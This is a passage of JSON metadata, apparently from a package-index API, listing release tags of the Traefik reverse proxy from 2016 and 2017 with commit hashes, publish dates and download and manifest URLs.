.4.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.4.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.4.6/manifests"},{"name":"v1.5.0-rc3","sha":"89a79d0f1b01015ce9dffe152dba4de3b42aaedf","kind":"commit","published_at":"2017-12-20T14:10:06.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v1.5.0-rc3","html_url":"https://github.com/traefik/traefik/releases/tag/v1.5.0-rc3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v1.5.0-rc3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.5.0-rc3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.5.0-rc3/manifests"},{"name":"v1.5.0-rc2","sha":"7d98c1c4e088515adec152940f7fdcbb7fb388d0","kind":"commit","published_at":"2017-12-06T14:58:03.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v1.5.0-rc2","html_url":"https://github.com/traefik/traefik/releases/tag/v1.5.0-rc2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v1.5.0-rc2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.5.0-rc2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.5.0-rc2/manifests"},{"name":"v1.4.5","sha":"cda09c843a11f53a07e3f7b8a5fb0b0c6f4c93f8","kind":"commit","published_at":"2017-12-06T09:44:03.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v1.4.5","html_url":"https://github.com/traefik/traefik/releases/tag/v1.4.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v1.4.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.4.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.4.5/manifests"},{"name":"v1.5.0-rc1","sha":"9fe6a0a8945233cadb4944e931fc17b03ec59f29","kind":"commit","published_at":"2017-11-28T13:50:06.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v1.5.0-rc1","html_url":"https://github.com/traefik/traefik/releases/tag/v1.5.0-rc1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v1.5.0-rc1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.5.0-rc1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.5.0-rc1/manifests"},{"name":"v1.4.4","sha":"419d46c958604b63844dfd965557eb6ca909a311","kind":"commit","published_at":"2017-11-23T10:48:03.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v1.4.4","html_url":"https://github.com/traefik/traefik/releases/tag/v1.4.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v1.4.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.4.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.4.4/manifests"},{"name":"v1.4.3","sha":"77b111702be5c932be7dc13729a4bb06fc53357a","kind":"tag","published_at":"2017-11-14T11:08:55.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v1.4.3","html_url":"https://github.com/traefik/traefik/releases/tag/v1.4.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v1.4.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.4.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.4.3/manifests"},{"name":"v1.4.2","sha":"0347537f430be426d69a9a18efb32899895a3ddc","kind":"commit","published_at":"2017-11-02T13:38:03.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v1.4.2","html_url":"https://github.com/traefik/traefik/releases/tag/v1.4.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v1.4.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.4.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.4.2/manifests"},{"name":"v1.4.1","sha":"44b82e62311232bff6887e5a78c73312c0236712","kind":"commit","published_at":"2017-10-24T16:06:03.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v1.4.1","html_url":"https://github.com/traefik/traefik/releases/tag/v1.4.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v1.4.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.4.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.4.1/manifests"},{"name":"v1.4.0","sha":"ff4c7b82bc471975b5982b7aa4763df47832e240","kind":"commit","published_at":"2017-10-16T16:42:03.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v1.4.0","html_url":"https://github.com/traefik/traefik/releases/tag/v1.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v1.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.4.0/manifests"},{"name":"v1.4.0-rc5","sha":"7a2ce5956356f74abacbabf62ac801004f379468","kind":"commit","published_at":"2017-10-10T13:50:03.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v1.4.0-rc5","html_url":"https://github.com/traefik/traefik/releases/tag/v1.4.0-rc5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v1.4.0-rc5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.4.0-rc5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.4.0-rc5/manifests"},{"name":"v1.4.0-rc4","sha":"f8d36fda2864fbb744c98770171c2b5ebb56bbe2","kind":"commit","published_at":"2017-10-02T14:00:03.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v1.4.0-rc4","html_url":"https://github.com/traefik/traefik/releases/tag/v1.4.0-rc4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v1.4.0-rc4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.4.0-rc4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.4.0-rc4/manifests"},{"name":"v1.4.0-rc3","sha":"f9225c54ff07925ba0ccd835a12ffc2c21133a4d","kind":"commit","published_at":"2017-09-18T16:20:03.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v1.4.0-rc3","html_url":"https://github.com/traefik/traefik/releases/tag/v1.4.0-rc3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v1.4.0-rc3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.4.0-rc3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.4.0-rc3/manifests"},{"name":"v1.4.0-rc2","sha":"f80a6ef2a665729da7dd5b408736235e09f1acd5","kind":"commit","published_at":"2017-09-08T18:50:04.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v1.4.0-rc2","html_url":"https://github.com/traefik/traefik/releases/tag/v1.4.0-rc2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v1.4.0-rc2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.4.0-rc2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.4.0-rc2/manifests"},{"name":"v1.3.8","sha":"d7d7eb2b83440b9057aba94d63e5d79b7e93c2dc","kind":"commit","published_at":"2017-09-07T20:04:03.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v1.3.8","html_url":"https://github.com/traefik/traefik/releases/tag/v1.3.8","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v1.3.8","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.3.8","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.3.8/manifests"},{"name":"v1.4.0-rc1","sha":"45e2e8baecd1aaa4b963022cbf9ef15b24d605c6","kind":"commit","published_at":"2017-08-29T07:37:47.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v1.4.0-rc1","html_url":"https://github.com/traefik/traefik/releases/tag/v1.4.0-rc1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v1.4.0-rc1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.4.0-rc1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.4.0-rc1/manifests"},{"name":"v1.3.7","sha":"7b0cef0fac2a9c595a64bff9af082ef9acec0d90","kind":"commit","published_at":"2017-08-25T15:08:02.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v1.3.7","html_url":"https://github.com/traefik/traefik/releases/tag/v1.3.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v1.3.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.3.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.3.7/manifests"},{"name":"v1.3.6","sha":"78544f7fa2a99460ccd967935188e918b1f7d687","kind":"commit","published_at":"2017-08-22T07:52:02.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v1.3.6","html_url":"https://github.com/traefik/traefik/releases/tag/v1.3.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v1.3.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.3.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.3.6/manifests"},{"name":"v1.3.5","sha":"413ed62933e495cea021888150d5c2da8a040e40","kind":"commit","published_at":"2017-08-01T15:43:37.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v1.3.5","html_url":"https://github.com/traefik/traefik/releases/tag/v1.3.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v1.3.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.3.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.3.5/manifests"},{"name":"v1.3.4","sha":"1db9482a8e7e23df1fbe2aab159ac9ed68c1f6c7","kind":"commit","published_at":"2017-07-27T15:24:19.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v1.3.4","html_url":"https://github.com/traefik/traefik/releases/tag/v1.3.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v1.3.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.3.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.3.4/manifests"},{"name":"v1.3.3","sha":"98b52d1f54799d732c1d8c466e3270642a89d880","kind":"commit","published_at":"2017-07-06T15:53:35.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v1.3.3","html_url":"https://github.com/traefik/traefik/releases/tag/v1.3.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v1.3.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.3.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.3.3/manifests"},{"name":"v1.3.2","sha":"f06e2569349801372a9138bd4c258c91ab195784","kind":"commit","published_at":"2017-06-29T15:40:11.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v1.3.2","html_url":"https://github.com/traefik/traefik/releases/tag/v1.3.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v1.3.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.3.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.3.2/manifests"},{"name":"v1.3.1","sha":"fe4d0e95b30ebca9a9b350cab6514c0a9043a3e5","kind":"commit","published_at":"2017-06-16T10:53:26.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v1.3.1","html_url":"https://github.com/traefik/traefik/releases/tag/v1.3.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v1.3.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.3.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.3.1/manifests"},{"name":"v1.3.0","sha":"e1e07f7750bf68bd3f1ddfc0c4ab82735e7ac39d","kind":"commit","published_at":"2017-05-31T17:11:16.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v1.3.0","html_url":"https://github.com/traefik/traefik/releases/tag/v1.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v1.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.3.0/manifests"},{"name":"v1.3.0-rc3","sha":"dbfd2663c25ed83cc9ee9353bf0d4b4a34840791","kind":"commit","published_at":"2017-05-24T13:32:29.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v1.3.0-rc3","html_url":"https://github.com/traefik/traefik/releases/tag/v1.3.0-rc3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v1.3.0-rc3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.3.0-rc3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.3.0-rc3/manifests"},{"name":"v1.3.0-rc2","sha":"f521e72f1540297c3207063b484c1086aaf0290f","kind":"commit","published_at":"2017-05-16T15:53:47.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v1.3.0-rc2","html_url":"https://github.com/traefik/traefik/releases/tag/v1.3.0-rc2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v1.3.0-rc2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.3.0-rc2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.3.0-rc2/manifests"},{"name":"v1.3.0-rc1","sha":"3fd6da06e0969d953789b64dfd79061b2f62a153","kind":"commit","published_at":"2017-05-05T13:19:55.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v1.3.0-rc1","html_url":"https://github.com/traefik/traefik/releases/tag/v1.3.0-rc1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v1.3.0-rc1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.3.0-rc1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.3.0-rc1/manifests"},{"name":"v1.2.3","sha":"bbb8d922fc6835c0b1cf36554812a4148c8f35e3","kind":"commit","published_at":"2017-04-13T19:09:40.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v1.2.3","html_url":"https://github.com/traefik/traefik/releases/tag/v1.2.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v1.2.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.2.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.2.3/manifests"},{"name":"v1.2.2","sha":"c766439fedffd65e257a0d0cd9dbad20fe97f06a","kind":"commit","published_at":"2017-04-11T20:05:04.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v1.2.2","html_url":"https://github.com/traefik/traefik/releases/tag/v1.2.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v1.2.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.2.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.2.2/manifests"},{"name":"v1.2.1","sha":"fba3db529187675114aebb0b0907157d99fa0b9e","kind":"commit","published_at":"2017-03-27T15:08:32.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v1.2.1","html_url":"https://github.com/traefik/traefik/releases/tag/v1.2.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v1.2.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.2.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.2.1/manifests"},{"name":"v1.2.0","sha":"5a57515c6bf83e7da69708bbe1fc7f8fa897388c","kind":"commit","published_at":"2017-03-21T09:37:24.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v1.2.0","html_url":"https://github.com/traefik/traefik/releases/tag/v1.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v1.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.2.0/manifests"},{"name":"v1.2.0-rc2","sha":"9b24e13418e3fdb3f57a64d722bc4b65bd674126","kind":"commit","published_at":"2017-03-01T12:54:55.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v1.2.0-rc2","html_url":"https://github.com/traefik/traefik/releases/tag/v1.2.0-rc2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v1.2.0-rc2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.2.0-rc2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.2.0-rc2/manifests"},{"name":"v1.2.0-rc1","sha":"445bb8189bdceccfd04a07e1e9db4123dbeeec9d","kind":"commit","published_at":"2017-02-06T20:36:30.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v1.2.0-rc1","html_url":"https://github.com/traefik/traefik/releases/tag/v1.2.0-rc1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v1.2.0-rc1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.2.0-rc1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.2.0-rc1/manifests"},{"name":"v1.1.2","sha":"ca9822cc5f7569fe2e40a2ae4912a1519904a53c","kind":"commit","published_at":"2016-12-15T10:13:30.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v1.1.2","html_url":"https://github.com/traefik/traefik/releases/tag/v1.1.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v1.1.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.1.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.1.2/manifests"},{"name":"v1.1.1","sha":"7f3ae6edb0a4bc43c06b03ab3d83eec0a512750c","kind":"commit","published_at":"2016-11-29T15:25:52.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v1.1.1","html_url":"https://github.com/traefik/traefik/releases/tag/v1.1.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v1.1.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.1.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.1.1/manifests"},{"name":"v1.1.0","sha":"fe1b982d13370c1ed20576144fc485aae035a3e2","kind":"commit","published_at":"2016-11-17T21:41:11.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v1.1.0","html_url":"https://github.com/traefik/traefik/releases/tag/v1.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v1.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.1.0/manifests"},{"name":"v1.1.0-rc4","sha":"4430befe90031739d08a87ffb0480f7a043c16f3","kind":"commit","published_at":"2016-11-10T11:20:46.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v1.1.0-rc4","html_url":"https://github.com/traefik/traefik/releases/tag/v1.1.0-rc4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v1.1.0-rc4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.1.0-rc4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.1.0-rc4/manifests"},{"name":"v1.1.0-rc3","sha":"c2a445370e891c8bf54fc52f9d57240c8632c108","kind":"commit","published_at":"2016-10-26T15:59:09.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v1.1.0-rc3","html_url":"https://github.com/traefik/traefik/releases/tag/v1.1.0-rc3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v1.1.0-rc3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.1.0-rc3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.1.0-rc3/manifests"},{"name":"v1.1.0-rc2","sha":"82a58010f5f2045e2bf0cf3bd1a366aa975f4caf","kind":"commit","published_at":"2016-10-19T09:49:24.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v1.1.0-rc2","html_url":"https://github.com/traefik/traefik/releases/tag/v1.1.0-rc2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v1.1.0-rc2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.1.0-rc2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.1.0-rc2/manifests"},{"name":"v1.1.0-rc1","sha":"408ef0f5b75f7b52dbab73930eb4cc0d60070f1d","kind":"commit","published_at":"2016-09-30T13:57:09.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v1.1.0-rc1","html_url":"https://github.com/traefik/traefik/releases/tag/v1.1.0-rc1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v1.1.0-rc1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.1.0-rc1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.1.0-rc1/manifests"},{"name":"v1.0.3","sha":"51f2433ba500ef5f2c3c2b20d6b6414219c2c08b","kind":"commit","published_at":"2016-09-22T13:00:43.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v1.0.3","html_url":"https://github.com/traefik/traefik/releases/tag/v1.0.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v1.0.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.0.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.0.3/manifests"},{"name":"v1.0.2","sha":"35c74ba56cc455be7c7b31399f77ea682fcd8e2f","kind":"commit","published_at":"2016-08-02T17:20:43.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v1.0.2","html_url":"https://github.com/traefik/traefik/releases/tag/v1.0.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v1.0.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.0.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.0.2/manifests"},{"name":"v1.0.1","sha":"a8d05294bc3bdaa28edda586b554f171689d589a","kind":"commit","published_at":"2016-07-19T14:54:16.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v1.0.1","html_url":"https://github.com/traefik/traefik/releases/tag/v1.0.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v1.0.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.0.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.0.1/manifests"},{"name":"v1.0.0","sha":"8f8f72fa76af31dac5c001dc309311788898fd70","kind":"commit","published_at":"2016-07-05T23:09:33.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v1.0.0","html_url":"https://github.com/traefik/traefik/releases/tag/v1.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v1.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.0.0/manifests"},{"name":"v1.0.0-rc3","sha":"a0a8bc24e88c1c2646264d575646e98eff4538d0","kind":"commit","published_at":"2016-06-23T15:46:05.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v1.0.0-rc3","html_url":"https://github.com/traefik/traefik/releases/tag/v1.0.0-rc3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v1.0.0-rc3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.0.0-rc3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.0.0-rc3/manifests"},{"name":"v1.0.0-rc2","sha":"5c63855cc029d9ec36ed60c5d8e8e5aaaf208f8f","kind":"commit","published_at":"2016-06-07T18:19:51.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v1.0.0-rc2","html_url":"https://github.com/traefik/traefik/releases/tag/v1.0.0-rc2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v1.0.0-rc2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.0.0-rc2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.0.0-rc2/manifests"},{"name":"v1.0.0-rc1","sha":"a9f9894f29565d0873beb07343217e6f2addfc3e","kind":"commit","published_at":"2016-05-30T22:15:58.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v1.0.0-rc1","html_url":"https://github.com/traefik/traefik/releases/tag/v1.0.0-rc1","dependencies_parsed_at":null,"